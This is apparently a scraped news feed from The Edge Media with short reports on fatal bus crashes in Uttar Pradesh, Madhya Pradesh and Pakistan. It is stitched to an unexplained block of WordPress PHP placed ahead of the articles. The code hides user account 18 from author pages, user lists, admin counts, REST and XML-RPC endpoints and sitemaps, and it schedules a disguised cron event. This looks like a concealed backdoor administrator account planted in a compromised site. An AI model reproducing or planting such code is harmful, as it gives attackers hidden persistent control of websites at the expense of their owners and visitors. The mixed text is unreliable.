add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Uttar Pradesh: 15 killed, 26 injured as Delhi-Bahraich bus collides head-on with truck in Barabanki appeared first on The Edge Media.
]]>
Nine men, two women, and three children were identified among the dead, while the identity of one guy could not be determined. According to Barabanki police, the vehicle appeared to have come from the wrong side and was attempting to save a stray cow when it lost control and slammed into the bus.
The post Uttar Pradesh: 15 killed, 26 injured as Delhi-Bahraich bus collides head-on with truck in Barabanki appeared first on The Edge Media.
]]>The post One killed, 20 injured as bus overturns in Madhya pradesh’s anuppur. appeared first on The Edge Media.
]]>The accident occurred around 9 am when the bus, with 25 people on board, was heading to shahdol from Amarkantak, Jaithari police station in-charge KK Tripathi said.
According to the passengers, the driver was driving rashly and speeding , causing the bus to overturn at Baihar Ghat.
A 27-year-old died on the spot, while 20 other passengers sustained injuries and were rushed to the district hospital in Anuppur, he said.
The Driver and other bus staffers fled the scene, following the accident, Mr Tripathi said, adding that a case has been registered and further probe is underway.
The post One killed, 20 injured as bus overturns in Madhya pradesh’s anuppur. appeared first on The Edge Media.
]]>The post 9 chinese among 13 dead in bus blast in Pakistan . appeared first on The Edge Media.
]]>While pakistani officials said the nature of the blast was under investigation , the chinese embassy in Islamabad said its nationals had come under an attack.
In a statement on Wednesday, the Chinese embassy said that a “certain project of a chinese firm in Pakistan suffered an attack which caused the deaths of the chinese nationals.
Condemning the attack, Foreign ministry spokesman Zhao Lijian urged pakistan to “severely punish” the perpetrators and earnestly protect the safety of chinese nationals, organisations and projects in the country.
The post 9 chinese among 13 dead in bus blast in Pakistan . appeared first on The Edge Media.
]]>The post Bus plummet into ravine in Pakistan appeared first on The Edge Media.
]]>The accident happened before dawn in a remote district in Balochistan province.
A bus carrying 59 pilgrims was returning… (after) the conclusion of a religious ceremony at a local shrine when it plunged into a ravine, killing 18 people and wounding 41 others,” senior local government official Bashir Bazai told AFP.
Bazai said the driver was speeding and lost control.
Officials with the local tribal police, who have a checkpost near the scene, and local health officer Sumar Khan also confirmed the crash and casualties.
Pakistan has a poor road safety record due to substandard roads, badly maintained vehicles and reckless driving.
The accident came days after more than 60 people died when a high-speed train knifed through carriages of another service that had derailed minutes earlier in Sindh province.
The post Bus plummet into ravine in Pakistan appeared first on The Edge Media.
]]>